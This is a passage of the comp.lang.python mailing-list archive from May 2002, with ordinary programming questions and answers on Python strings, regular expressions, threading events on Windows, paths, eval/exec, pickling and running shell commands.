Communist rebels who >> > fought against the US-installed conservative Somoza dictatorship (and others) >> > . >> > The suffix is sometimes used to refere to any contrarian group, and in cases >> > simply any group. [Laura Creighton] >> That is simple ignorant American narrow-minded foolishness talking. >> Normally, I would take extreme great care to not say anything so >> offensive, but I have a deep suspcion that James J Besemer is one >> of the 'can't take the heat' folks, and will learn to like a kinder >> and gentler place than the one he proposes to make for Raymond Hettinger >> if he finds out what it is like to live in the place he proposed. [holger krekel] >one moment, please. You are making some valid points but i don't >see any sense in this 'eye for an eye' attitude. >After all beeing ignorant about something and the general >wish to collaboratively advance is the reason we are subscribed >on this list, isn't it? Why not explain your 'ista' origins to the >*poster of the original question*? Am I the only one to detect sarcasm and straight talk aimed at "sarcasm and straight talk" in Laura's post? I thought it was great fun. The only defect was that picking a topic in which real critisisms are valid makes the sarcasm too subtle. Sorry for spoiling the game for everyone. Huaiyu From emile at fenx.com Tue May 14 08:21:20 2002 From: emile at fenx.com (Emile van Sebille) Date: Tue, 14 May 2002 12:21:20 GMT Subject: Samba - python References: Message-ID: <4j7E8.30322$UV4.6245@rwcrnsc54> "Joan Torres" > I need to upload/download files to and from Unix (solaris) amb Win 2k-XP > machines. > Is there any samba-python module available? > Take a look at ftplib -- Emile van Sebille emile at fenx.com --------- From dalke at dalkescientific.com Wed May 15 08:44:45 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 15 May 2002 06:44:45 -0600 Subject: __getitem__, __getslice__ question for python 2.2 References: <3CDD412D.3000805@erols.com> Message-ID: Raymond Hettinger: >if x != int(x): print 'expected an integer' Others pointed out the ValueError. When I've gone this route, I also made sure I used the result of int, so I knew that I had an integer from there onwards, as in try: converted_x = int(x) except ValueError: raise TypeError("expected an integer") if converted_x != x: raise TypeError("expected an integer") x = converted_x In other words, it's the integer which equals x (if it exists) rather than x if x can be represented as an integer. Andrew dalke at dalkescientific.com From grahamd at dscpl.com.au Sun May 19 19:19:40 2002 From: grahamd at dscpl.com.au (Graham Dumpleton) Date: 19 May 2002 16:19:40 -0700 Subject: Location of Kevin Cazabon's PIL fonts. References: <3CE66CDD.800@iki.fi> Message-ID: Joonas Paalasmaa wrote in message news:<3CE66CDD.800 at iki.fi>... > Graham Dumpleton wrote: > > Are these fonts located anywhere else? I can't find any further references > > on Google. > > > > Alternatively, can anyone point me to a site describing and providing > > scripts for generating 300dpi PIL fonts from some other format. I guess > > probably from TrueType fonts so that they will look reasonable, basing > > them on 75dpi or 100dpi X windows fonts wouldn't probably be any good for > > what I need them for. > > Fredrik Lundh provides a set of PIL fonts on his website at > http://effbot.org/pil/index.htm Thanks, but had already found them and understand them to be 100dpi fonts where as I am specifically after 300dpi fonts. I will be able to use them for further testing, but ultimately need to get the 300dpi fonts for best results. Thanks anyway. From larooy at xtar.co.nz Sun May 19 03:04:42 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Sun, 19 May 2002 19:04:42 +1200 Subject: regular expression References: <20020519032904.033b668e.bkesuma@REMOVECAPITALS.yahoo.com> Message-ID: <20020519190442.407cefbc.larooy@xtar.co.nz> On Sun, 19 May 2002 03:29:04 +0900 Batara Kesuma wrote: > Hi Sean, > > On Sat, 18 May 2002 10:46:19 -0700 (PDT) > "Sean 'Shaleh' Perry" wrote: > > > you are very close to what you need. > > > > rule = re.compile(r'^\d{6}$') # ^ means start of string, then \d{6} is 6 > > numbers > > # then $ is end of string. > > Thank you very much. But what does the 'r' in (r'^\d{6}$') means? > > --bk The r means raw string, so the backslash is included literally. In this case it doesn't matter because \d doesn't mean anything. Also re.match() only matches from the start of the string so the ^ is not required either. so rule=re.compile('\d{6}$') is equivalent John From Grant_member at newsguy.com Fri May 31 14:01:11 2002 From: Grant_member at newsguy.com (Grant Griffin) Date: 31 May 2002 11:01:11 -0700 Subject: semi-concatenated strings References: Message-ID: In article , "Terry says... > > >"Grant Griffin" wrote in message > >> In article , Skip >says... >> >At compile time all those strings are concatenated into one long >string. > >> I guess I don't see what's so bad about having to put a "+" at the >end of >> each--except maybe that it brings on the need for a continuation >backslash: > >Reread 'at compile time' (hopefully with linear algorithm) - only one >string object created. >+ works at runtime with n string objects in n*n time, possibly >repeatedly (if strings are in loop or function called more than once. >Quite aside from extra chars. > Yeah, I'd thought of that, but didn't bring it up because it goes against my argument . Besides, I wasn't for sure if that was a compile-time thing or a run-time thing. In any event this thing seems rather un-Pythonic inasmuch as it violates four--count 'em: four!--of Tim's design principles: 1) Explicit is better than implicit. (There's an implicit "+" here.) 2) Errors should never pass silently. (I discovered this construct via a silent error I had made: omitting a comma resulted in one fewer string than I needed.) 3) There should be one--and preferably only one--obvious way to do it. (There are two ways to concatenate string literals. But in all fairness, the second one isn't all that obvious .) 4) Special cases aren't special enough to break the rules. (One can't concatenate two string variables without the aid of a "+", so string _literals_ are a special case.) Then again, as Tim himself once said, the key to any successful philosophy is to have enough wiggle room to do what you wanted to do anyway. In that vein, I suppose one could argue in favor of this that: 1) Beautiful is better than ugly. (Yes, the trialing "+"'s are a bit ugly, especially when you add backslashes or extra parens.) 2) Simple is better than complex. (Yes, there's less typing. Still, folks who obsessively conserve typing should be sentenced to a year of Perl--without parole .) 3) Although practicality beats purity. (Yes, as Skip illustrates, this has its practical uses--though I can't think of any others offhand .) not to mention: 4) Namespaces are one honking great idea -- let's do more of those! (I don't really know how namespaces come into this, but I just like the word "honking".) a-proud-member-of-all-the-people-who-can't-be-pleased-all-the-time-ly y'rs, =g2 _________________________________________________________________________ Grant R. Griffin g2 at dspguru.com Publisher of dspGuru http://www.dspguru.com Iowegian International Corporation http://www.iowegian.com From aleax at aleax.it Sat May 11 02:05:20 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 06:05:20 GMT Subject: Which GUI Library to Use References: <3CDC3B03.1A58B599@acm.org> Message-ID: Robert George Mayer wrote: ... > Would you please say where you heard about Qt3 in BlackAdder? The > news on BlackAdder has been nonexistent for some time. It was announced on the BA mailing list, where news about BlackAdder are anything but "nonexistent". I think you can join the list from the appropriate pages on theKompany's website. Alex From martin at v.loewis.de Wed May 29 18:23:08 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 30 May 2002 00:23:08 +0200 Subject: No parsers found... References: <921D7A043jhewebdeagde@194.45.170.159> Message-ID: "Gillou" writes: > > > > Most certainly. You need to edit Modules/Setup to point it to your > > expat installation, to make use of the pyexpat module that comes with > > Python. > > AFAIK, We don't need to install expat separately at Python > configure/make/make install dance. > It's packaged in PyXML. [...] > Please correct me if I'm wrong You are right, but the OP also tried to use the pyexpat support in Python proper. Regards, Martin From mhammond at skippinet.com.au Mon May 13 19:38:47 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Mon, 13 May 2002 23:38:47 GMT Subject: wait() method of threading.Event() class References: <59e5b87.0205081451.69641041@posting.google.com> <3CD9B0A7.8010504@skippinet.com.au> <59e5b87.0205131422.3fe36805@posting.google.com> Message-ID: <3CE04EC4.5040400@skippinet.com.au> Miranda Evans wrote: > Using win32\Demos\timer_demo.py as a framework for a solution to this > issue led to 2 additional questions: > > 1) are the last 2 arguments to MsgWaitForMultipleObjects() in > timer_demo.py reversed? (I thought I saw a post that suggested this > was the case, but haven't been able to find that post again.) That appears to be true. I have fixed it here. Good catch ;) > 2) given the nature of this particular application (wait for either an > event from COM object to fire or for a timer to expire, whichever > comes first) is it preferable to use two classes (one for the timer > and one for the events from the COM object) or one class (combine > timer and COM object event handler in one class)? The best is probably to just wait for a single event with a timeout that corresponds to your "timer to expire" interval. > 2 class example: > # glork is timer > class glork > # same __init__ and increments method as in timer_demo.py Don't use a timer. timer_demo was just an example of a MsgWaitFor* loop. Something like: # evHandle handles events from COM object class evHandler def __init__(self): self.event = win32event.CreateEvent(None, 0, 0, None) def OnSomeEvent(self): win32event.SetEvent(self.event) def demo(delay=1000, stop=10): stop_time = time.time() + 60 # 60 seconds in the future. eh=evHandler() while 1: rc = win32event.MsgWaitForMultipleObjects( (g.event,), # list of objects 0, # wait all 1000, # timeout win32event.QS_ALLEVENTS, # type of input ) if rc == win32event.WAIT_OBJECT_0: # Event signalled - the COM object fired! break elif rc == win32event.WAIT_OBJECT_0+1: # Message waiting. pythoncom.PumpWaitingMessages() else: # This 1 second wait timed-out - see if time has expired. if time.time()>=stop_time: # time is up! break Mark. From donn at drizzle.com Wed May 29 10:50:07 2002 From: donn at drizzle.com (Donn Cave) Date: Wed, 29 May 2002 14:50:07 -0000 Subject: read only the last x bytes from a text file References: None Message-ID: <1022683807.100081@yasure> On Wed, 29 May 2002 15:10:46 +0200, Felix Seeger wrote: | I am writing a log monitor. | It checks the filesize and the new filesize. | | Now I want only the difference between this vars. | eg read the last 1000 bytes from the file. | | How can I do this ? file.seek(filesize, 0) result = file.read(new_filesize - filesize) Donn Cave, donn at drizzle.com From opengeometry at yahoo.ca Sat May 18 23:25:03 2002 From: opengeometry at yahoo.ca (William Park) Date: Sat, 18 May 2002 23:25:03 -0400 Subject: Parsing a text file for information In-Reply-To: ; from colin@meeks.ca on Sun, May 19, 2002 at 12:52:06AM +0000 References: Message-ID: <20020518232503.A12022@node1.opengeometry.ca> On Sun, May 19, 2002 at 12:52:06AM +0000, Colin Meeks wrote: > I have a text file that is several magabytes in size and would like to > strip it of certain information. The information I want is always > preceeded by > GETTEXT= > and is in itself 18 characters long. Is there a regular expression I > could use to simplify the task. Try playing with grep 'GETTEXT=' file | cut -f 2 -d '=' grep 'GETTEXT=' file | sed 's/GETTEXT=//' Can't be more specific without more detail... -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From pcc at ecet.vtc.edu Sun May 19 20:21:06 2002 From: pcc at ecet.vtc.edu (Peter) Date: Sun, 19 May 2002 20:21:06 -0400 Subject: Odd problem with I/O redirection under Windows Message-ID: Hello! I just wrote a Python program that starts out with text = sys.stdin.readlines() This behaves itself fine when I run the program interactively and type the input manually. However when I do something like: C:\> myscript < somefile.txt I get: Traceback (most recent call last): File "C:\home\prog\Python\myscript.py", line 30, in ? text = sys.stdin.readlines() IOError: [Errno 9] Bad file descriptor I'm using the "standard" Python v2.2 download for Windows. Curiously when I try running the very same program using Cygwin's python v2.2 in a bash shell on the same machine it works fine. Thus I'm thinking this might have something to do with how the Windows Python is handling the console. I'm running Win2k if that matters. Any thoughts? Peter From xsebbi at gmx.de Mon May 20 16:35:20 2002 From: xsebbi at gmx.de (Sebastian Roth) Date: Mon, 20 May 2002 22:35:20 +0200 Subject: Getting image informations Message-ID: <200205202235.20388@xsebbi.de> Hi all, I'm currently looking for an function that give informations about an image/pictire -file like test.png oder test.gif. I need especially two informations: width and heigth . Midnight Commander can tell me this things, but how could Python do that? Is there an special module for such things? The Python library can't help me, so I want to ask you. ;) Thank you in advance, Sebastian From tdelaney at avaya.com Thu May 30 20:49:34 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 31 May 2002 10:49:34 +1000 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? Message-ID: > From: David K. Trudgett [mailto:dkt at registriesltd.com.au] > > On Friday 2002-05-31 at 10:18:34 +1000, Delaney, Timothy wrote: > > In one way, I don't mind getting "correct" answers, but in another > way, with my RAD hat on, I'd prefer not to have to worry too much > about rounding errors and such. I don't know how Perl and Python 1.5.2 > manage their trickery, but I suppose it could raise its ugly head and > bite you one day. :-) http://www.python.org/doc/2.2.1/tut/node14.html All you are seeing is the string representation repr(). In 1.5.2, repr() gave the same result as str() - two places of decimal precision. In 2.0+ it does the "right" thing. str() still gives two places of decimal precision. If you want to display a certain precision, you need to do it yourself. round() will not change things ... print repr(round(0.10000000000000001, 1)) Tim Delaney From timr at probo.com Fri May 24 01:14:04 2002 From: timr at probo.com (Tim Roberts) Date: Thu, 23 May 2002 22:14:04 -0700 Subject: os.path.join() necessary? References: <3CECFCF3.2010207@thomas-guettler.de> Message-ID: Thomas Guettler wrote: > >I was suprised that I can use (dir + '/' + file) on windows. >Since my application will only run on windows and unix I won't >use os.path.join() Windows API calls do accept forward slashes, but Windows commands do not. Example: file = "x/y/z" os.system('dir %s' % file) That will fail. It would succeed if I had used os.path.join(). I have often used Python to generate command streams or Makefile. In that case, the slash direction is critical. >If you just want to join a directory and a file it is no problem, >but I store paths in a database. This would mean I would have to >transform the path to the current operating system each time I get >it from the database. ...which os.path.join will do for you. Path are almost never cross-platform. /usr/local/bin/python doesn't mean very much on Windows. -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From robin at jessikat.fsnet.co.uk Sat May 4 07:00:28 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Sat, 4 May 2002 12:00:28 +0100 Subject: Returning Fault instances in xmlrpc References: Message-ID: In article , Magnus Lie Hetland writes .... >If I raise a Fault exception in the server, then it is also raised on >the client side -- is this the way to go? (Will then a proper fault >value be returned to non-Python clients?) ...... I think raising the Fault on the server is the correct thing to do for python servers. The server xmlrpclib frameworks seem to trap unhandled exceptions and turn them into Faults. I've just been looking at a Delphi client and there I see code that looks like if rtn.IsError then begin showmessage('Error:' + rtn.GetErrorString); result := false; exit; end; and this pops up a message box and shows the Fault message. -- Robin Becker From a.schmolck at gmx.net Mon May 27 13:26:35 2002 From: a.schmolck at gmx.net (Alexander Schmolck) Date: 27 May 2002 18:26:35 +0100 Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> <3cf252f7@si-nic.hrz.uni-siegen.de> Message-ID: Simon Budig writes: Simon Budig writes: > Alexander Schmolck wrote: > > Simon Budig writes: > > > > The distiction is quite simple: use eval for expressions and exec for > > everything else. That of course only works if you know what qualifies as an > > expression in python :) > > I think I do know what an expression is - what I do not know is > how to determine the type to use from a string given by an external > source. Sorry, I didn't mean to state the obvious, but it seems to be confusing to many people, especially since assignments can form part of expressions in many languages. Well, if all your stuff is exclusively math expressions which can only contain a) variables and literals b) operators c) maybe some (math) function calls d) assignments then maybe something like: re.search('[^=!]=[^=-+]', str) is enough to find out? But I don't see why you need this distinction anyway, since your current strategy means you don't reduce everything to expressions, so you might as well also handle the expressions with exec, or not? Anyway, this all seems to be heading down the wrong track. I'm not completely clear I understand your problem, but is my assumption right that it basically is: "I have string consisting of a series of assignment statements (possibly 0) followed by an expression and I want to return the value of this expression?" ? >From what I understand the proper solution would very likely involve writing a parser (either by hand or by using something like spark). But if you'd rather use exec and evals you can just extract the final expression from the string, along the lines of (untested): re.search(r'(?s)\n|(?:;\s*)(.*)$', ').group(1) and eval that in the namespace in which you executed the rest, which should give you the result you are after. However, all the tricks you have to play to make this stuff safe are presumably more of an effort than parsing it properly, especially since parsing simple math expressions often comes as example code for parser generators and is such a common problem that it shouldn't be that hard to find something canned. > > I think I took quite good care of it by making sure that before I > eval/exec something the mathdict["__builtins__"] = {}. In the real code Are you sure that this is guaranteed to be safe? The reference manual would suggest that only *additional* keys may be inserted by the implementation, but I'd rather double-check. > > > BTW: this > > > >> except: > > > > is almost always a bad idea. You should explicitly test for the Errors you are > > expecting like so: > > > > except SyntaxError: > > > > because otherwise bugs you didn't expect might go unnoticed. > > I do know about this, but this is definitely necessary because otherwise > it would be possible to crash the program via "raise 'foo'". Sure, but it might still be helpful to have *2* (or more) except clauses: one that checks for what you reasonably expect might go wrong and a final "except:" in the body of which you could print a warning or debugging message, log intrusion attempts etc., at least while you are still developing the code. > > Thanks, > Simon alex From aahz at pythoncraft.com Thu May 2 19:50:07 2002 From: aahz at pythoncraft.com (Aahz) Date: 2 May 2002 19:50:07 -0400 Subject: Low level python References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> Message-ID: In article , Skip Montanaro wrote: > > Matthew> I've been thinking of writing a device driver in python. Some > Matthew> people say this is ridiculous. I used psyco to improve the > Matthew> speed, and now have a program that does the device driver's job > Matthew> (a proprietry touchscreen driver) in user mode. > >I think this is a very cool idea. Sounds like a Python Conference paper >waiting to be written. Second the suggestion -- and if Matthew is already planning to be at OSCON 2002, he can probably do a Lightning Talk. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From fperez528 at yahoo.com Wed May 15 13:08:51 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 15 May 2002 11:08:51 -0600 Subject: number of displayed decimal places References: Message-ID: Vojin Jovanovic wrote: > I would like to know if one can control the number of displayed decimal > places in Python similarly to what one can do in MATLAB > [snip] > > Now, I know that Python can control the outputs with print %f and so on > ... but it would be more useful if one can somehow set the number of > displayed decimal places in the beginning. Well, you may want to look at IPython: http://www-hep.colorado.edu/~fperez/ipython/ Among other things, it has pre-made profiles for turning it into a matlab-like environment, loading numeric and gnuplot controllers for you. And I've already coded in the hooks for controlling the formatting of numerical output, but only the necessary hooks are in place. I have yet to write the actual format code. For simple numbers it would be trivial, the tricky part is nice formatting of multi-dimensional matrices. But you could at least in a few minutes fix the display of floats, and if you want to take a shot at matrix formatting I'll be glad to include any contributions in future releases. Cheers, f. From duncan at NOSPAMrcp.co.uk Wed May 8 10:14:45 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Wed, 8 May 2002 14:14:45 +0000 (UTC) Subject: Regular expression question References: <3CD8E9A7.6010600@chambersharrap.co.uk> Message-ID: Patrick Gaherty wrote in news:3CD8E9A7.6010600 at chambersharrap.co.uk: > Im performing the following search and replace in Python. However, I > would like to return the first group as lowercase using .lower() in the > replacement string, What's the best way of achieving this? > > result = re.sub(r'(.*?)
', r' href="javascript:openWin(\'images/\1.htm\');">\2', result) > Use a function that returns the replacement text instead of a string: def replace(match): text = ('%s' % (match.group(1).lower(), match.group(2))) return text result = re.sub(r'(.*?)
', replace, result) -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From emile at fenx.com Thu May 9 20:09:20 2002 From: emile at fenx.com (Emile van Sebille) Date: Fri, 10 May 2002 00:09:20 GMT Subject: Python stagnating? References: Message-ID: Chris > What would be really nice is an easily searchable, online manual. As a user > I really like the approach taken by the PHP manual, which integrates easy > searching, an auto search on the URL, and user comments all in one place. > Time to start digging around! Try http://web.pydoc.org/ -- Emile van Sebille emile at fenx.com --------- From pyth at devel.trillke.net Thu May 30 16:18:32 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 30 May 2002 22:18:32 +0200 Subject: Avoiding `exec', how to? In-Reply-To: ; from pinard@iro.umontreal.ca on Thu, May 30, 2002 at 03:24:39PM -0400 References: Message-ID: <20020530221832.L17248@prim.han.de> Fran?ois Pinard wrote: > Hi, my fellow snakes :-). > > I do not like using `exec', and wonder if there is a way to avoid it in: > > > # Fabriquer une variable globale pour chaque ?l?ment de DEFS. i think i understand that :-) > for name, value in defs.__dict__.items(): > if name[0] != '_': > # J'aimerais bien ?viter `exec'... > exec '%s = %s' % (name, repr(value)) > del defs, name, value basically 1) glob = globals() for name in dir(defs): if name[0]!='_': glob[name]=getattr(defs,name) which relies on beeing able to use __setitem__ on the dictish object returned by 'globals()' Also the use of dir/getattr allows for 'defs' to be subclassed. Using '__dict__' doesn't and is somewhat ugly. 2) mod = __import__('currentmodulename') for name in filter(lambda x: x[0]!='_', dir(defs)): setattr(mod, name, defs[name]) if you know the module global scope. this way you can have this code outside of the module. (assuming you like lambda functions, which i do). regards, holger From fperez528 at yahoo.com Tue May 21 12:13:02 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 21 May 2002 10:13:02 -0600 Subject: string module References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: Michael Hudson wrote: >> So indeed, since I'm loading readline at the interactive prompt, there's an >> under the hood resetting of the locale. Ah, the beauty of perl-like silent, >> implicit global changes ;) > > Now trying playing with signals at the interactive prompt[1] > . I wouldn't want to live without readline, but sometimes > I do wish it wouldn't bugger around with stuff my application cares > about so much. > Agreed. There's not much I can do about readline (I'm not going to rewrite the whole thing!) but I did rewrite a lot of rlcompleter and other things which import readline (like pdb) just so they wouldn't muck around globally so much! In that sense rlcompleter is very poorly designed: there should be an explicit need to call a global initializer so that submodules which import it don't damage your global readline namespace handling (like pdb does). Oh well, one of these days I'll have to wrap all these things as patches and send them in. f. From cprinos at foliage.com Sun May 19 20:16:39 2002 From: cprinos at foliage.com (Chris Prinos) Date: Mon, 20 May 2002 00:16:39 GMT Subject: py2exe and tricky imports References: Message-ID: I ended up receiving several replies privately, and one of them got me working... Gordon McMillan suggested I try his Installer program (http://www.mcmillan-inc.com/installer_dnld.html) , and that was able to create executables that used both the pyXML and mx DateTime/ODBC packages. Chris From kragen at pobox.com Wed May 1 21:06:46 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 01 May 2002 21:06:46 -0400 Subject: how to pickle a lambda? References: <3ccc58db$0$14003$afc38c87@news.optusnet.com.au> <3CCC730A.FC60D13F@alcyone.com> <3ccd1ed9$0$15477$afc38c87@news.optusnet.com.au> <837kmqrvxl.fsf@panacea.canonical.org> <7xit6aqdz5.fsf@ruckus.brouhaha.com> Message-ID: <83pu0fqrx5.fsf@panacea.canonical.org> Paul Rubin writes: > Kragen Sitaker writes: > > Unfortunately not. You can't marshal lambdas either. > > Oh well. I'm surprised by this. Maybe marshal should be extended. You can't marshal functions of any kind. > > Or you can just use named functions, especially if you don't have > > closure data. > > I thought a named function was just a variable whose value was a lambda: > def square(x): return x*x > is the same as > square = lambda x: x*x Approximately, yes. > Of course the syntax is different (you can't have control statements in > a lambda) but I'd have thought if you can't marshal a lambda, you also > can't marshal a named function. You can't marshal a named function, but you can pickle it; pickle remembers the module and the function name. For lambdas, all it gets is , which it can't unpickle; for named functions, it imports the module (if necessary) and grabs the reference to the function by name. Which is why the original poster was saying his named functions were working, but lambda's weren't. From aleax at aleax.it Fri May 10 04:14:41 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 10 May 2002 08:14:41 GMT Subject: Modules vs Classes References: <3cdb7a92_2@news3.newsgroups.com> Message-ID: jb wrote: > I use PyQt and need classes very much. I just wonder, if it is not a good > idea to have one (complicated) class in an own module and storing private > members of this class as global variables in the module. > By doing so, the variables cannot be easily accessed from outside (of > course you can import them) and I can write simply h0 for the height of an > object instead of writing self.h0. > > Is this good programming tyle? Generally, no, but it depends. If you ever need more than one instance of the class, then it's obviously a disaster if what should be per-instance state is elsewhere, e.g. in module-globals, so instances HAVE to share it rather than each getting its own. But if what you're looking for is how to design a class of which only one instance will EVER exist, then, yes, a module is one possibility. The minor conveniences you hypothesize are not going to materialize -- import is *needed* for any other code to use that class, so of course all of the toplevel variables of the module will be routinely accessible, and the tiny convenience of writing 'h0' rather than 'self.h0' is overwhelmed by the need to add a 'global h0' into every function or method that may ever rebind name 'h0'. So the real issue is just -- how many instances of this class will ever be allowed to exist? If *ONE* is the "obvious" answer, do consider a module instead. Otherwise, use a real class, of course. Alex From irmen at NOSPAMREMOVETHISxs4all.nl Fri May 31 18:46:47 2002 From: irmen at NOSPAMREMOVETHISxs4all.nl (Irmen de Jong) Date: Sat, 1 Jun 2002 00:46:47 +0200 Subject: Generating unique numbers? References: <3CF7EBC8.4080802@verio.net> Message-ID: > > Is there a good algorithm for generating unique numbers > > (ints, specifically) that can be used as object identifiers? > > id(x) If you need IDs that are unique across - different Python processes - different machines id(x) won't work. Irmen From martin at v.loewis.de Sat May 11 09:22:29 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 11 May 2002 15:22:29 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: "John Roth" writes: > I just read that PEP. As far as I'm concerned, it's not solved, the > solution would be much worse than the disease. Python is noted > for simplicity and one way to do most things. PEP 263 (outside of > syntax issues) simply obfuscates the issue for quite minor returns. Any specific objection? > > That sounds terrible. Are you sure you can implement this? For > > example, what about the Cyrillic-based languages? Are you also > > treating them as one for simplicity? Can you produce a complete list > > of languages, and for each one, a complete list of characters? > > I believe that the Unicode Consortium has already considered this. > After all, they didn't just add character encodings at random; they've > got specific support for many, many languages. I don't need to > repeat their work, and much more importantly, neither does the > core Python language team. Ok, can you then kindly direct me to the relevant database? To my knowledge, the Unicode consortium does *not* maintain this very data (although they do maintain data that, at a shallow glance, look related). > > That is even more terrible. So far, nobody has proposed to translate > > Python keywords. How are you going to implement that: i.e. can you > > produce a list of keywords for each language? How would I spell 'def' > > in German? > > AFIC, spelling is up to people who want to code in a particular > language. I'm telling you: I speak German, and I did a lot of software localization work, but I couldn't find an acceptable translation for any of the Python keywords which wouldn't sound outright silly. > I haven't considered implementation, but it seems like it should be > incredibly simple, given that point 4 means that syntax words are > easily distinguishable by the lexer. Think in terms of a dictionary, > although performance considerations probably means that something > faster would be necessary. Indeed, implementing this would be the easier part - obtaining the data is difficult. Regards, Martin From mkelly2002 at adelphia.net Tue May 28 14:03:56 2002 From: mkelly2002 at adelphia.net (Michael Kelly) Date: Tue, 28 May 2002 14:03:56 -0400 Subject: Dealing with OLE error References: <1103_1022598643@news.nildram.co.uk> Message-ID: On Tue, 28 May 2002 11:10:43 -0400, John Moore wrote: > 'OLE error 0xe0040122' There are utilities that decode these hex HRESULT codes. I'm sure you can find one on microsoft.com web site. If you have any MS compilers there's probably already one installed on your system. Also take a look on some of the windows freeware sites, maybe tucows or nonags. -- "Only choice is an oxymoron." From starx at pacbell.net Wed May 8 07:39:39 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 8 May 2002 11:39:39 GMT Subject: What makes code "readable"? References: <20020508064603.24210.7977.Mailman@mail.python.org> Message-ID: Terry Hancock || Tue 07 May 2002 02:49:48p: > I frequently use shorter variable names in loops and other > local scopes as mentioned above -- sometimes I think this > can make things clearer or avoid errors. I recently had some > code that looked like this: > > for view in views: > ... > > This kind of bugs me because I always feel like I'm going > to leave out the 's' and get obnoxious bugs (more honestly, > I've gotten bitten by it enough to think that). So I > changed it to: > > for vw in views: > ... > > (Which I still say the same way, but this makes it harder > to confuse, I think). I'm still waffling over it, > though -- which do you think is better? Maybe I should > say 'viewtachi' and 'view', heh. ;-) (Yes, I'm kidding). Hm, maybe it's just me being rather more attuned to (written) english than average (as far as i can tell...), but I'd never have a problem with that. View and Views are just unmistakably diffrent to me. With a word with lots of s's in it maybe, but... hm... Anyway, wou could also use 'viewra' instead of 'viewtachi', it's a bit more typeable. Just then hope you never get variables named 'amon' or 'mumm' =) > I often have some confusion over whether to use plural > names -- it bothers me to name a list, say 'myfiles', > and then refer to an element as 'myfiles[2]' or something. > Of course, in Python you don't have to do indexing > like this as much (because of loop constructs like those > above), so maybe it's not so important (and maybe I > ought to return to the view/views instead of vw/views?). > > Anyway, I don't think just having long or even long > pronounceable names is necessarily good -- it's got > to be meaningful to the programmer. I'm not going to > be quick to forgive the Zope developer who came up > with 'bobobase_modification_time'. :-D I mean, sure, > after some time working with it and reading the history, > I've learned why it should be called that, but I'd still > have been happier with 'obj_mod_time' or something. There's style, and then there's fitting the damn thing in an expression on a line in a for loop in an if statement in a function in a class while using (iiick) 8-space tabs ;). Yes, i'm quite guilty of making names too long, at least initially. Good examples: my most horrid python module... sxrandom: name += gennamesec( nameparts, pickpercentdic(lastnamesylpd) ) Er... don't ask. I wasn't even using underscores there for some reason. This is a wad of code i never ever want to look at again. A better example would be 'percentage_chance()'... it just sounds better as 'perchance()' anyway =). This is a handy little thing where: if perchance(75): print "Executes 75% of the time" It's real nice for e.g. random-filling test mazes. Um... did i have another point down here? Oh well, bedtime. -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From aleax at aleax.it Wed May 8 02:52:09 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 08 May 2002 06:52:09 GMT Subject: Whats so good about Python? References: <8580b02e.0205071527.5b6ce52f@posting.google.com> Message-ID: Michael Gilfix wrote: > Better yet, why doesn't someone just write the Python vs. Perl FAQ? > It'll be a good advertiser for the community and then we can avoid these > threads by just pointing people at a URL. Since both Perl and Python are in continuous evolution, such a FAQ (of which various versions exist) would become obsolete very fast unless actively maintained. Alex From peter at engcorp.com Sun May 5 08:34:48 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 05 May 2002 08:34:48 -0400 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> Message-ID: <3CD526E8.EA6CDBBF@engcorp.com> deckerben wrote: > > Peter Hansen" wrote: > > Try this: > > > > Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 > > >>> import os > > >>> os.system('dir *.bat') > > I'm in love. Yes, you read my mind.. Ah, shucks (blushing, kicks dirt).... oh, wait, you meant _with Python_?! > this is just what I wanted. And it works (even using my DOS hack). You might check if this works too, then: >>> import os >>> cmdOutput = os.popen('dir *.bat') >>> text = cmdOutput.read() >>> cmdOutput.close() >>> print text Volume in drive C is DRIVE1-1 Volume Serial Number is 2E17-18E1 Directory of C:\ AUTOEXEC BAT 577 01-23-02 9:12p AUTOEXEC.BAT TEST BAT 146 03-13-02 9:02p test.bat 2 file(s) 723 bytes 0 dir(s) 269.93 MB free Then you can do all kinds of neat analysis of the stdout results of running the program. Other more sophisticated options follow on the heels of that experiment. > > I thought you wanted to rewrite some batch files, but now you are > > more concerned about future employment potential? > > Just trying to think on practical terms :-) I think you might have the employment thing nailed already. Anyone who writes ports of Python and Javascript to DJGPP just to experiment with which would make a more suitable replacement for DOS batch files doesn't need to learn Perl to get access to the widest range of jobs possible. You should probably be able to walk in to any reasonable company and tell them why they should hire you and have them say "You're right... how much did you say you wanted?". (Well, maybe not quite, but that's how the world _should_ work. :-) Enjoy Python. -Peter From coolslife at 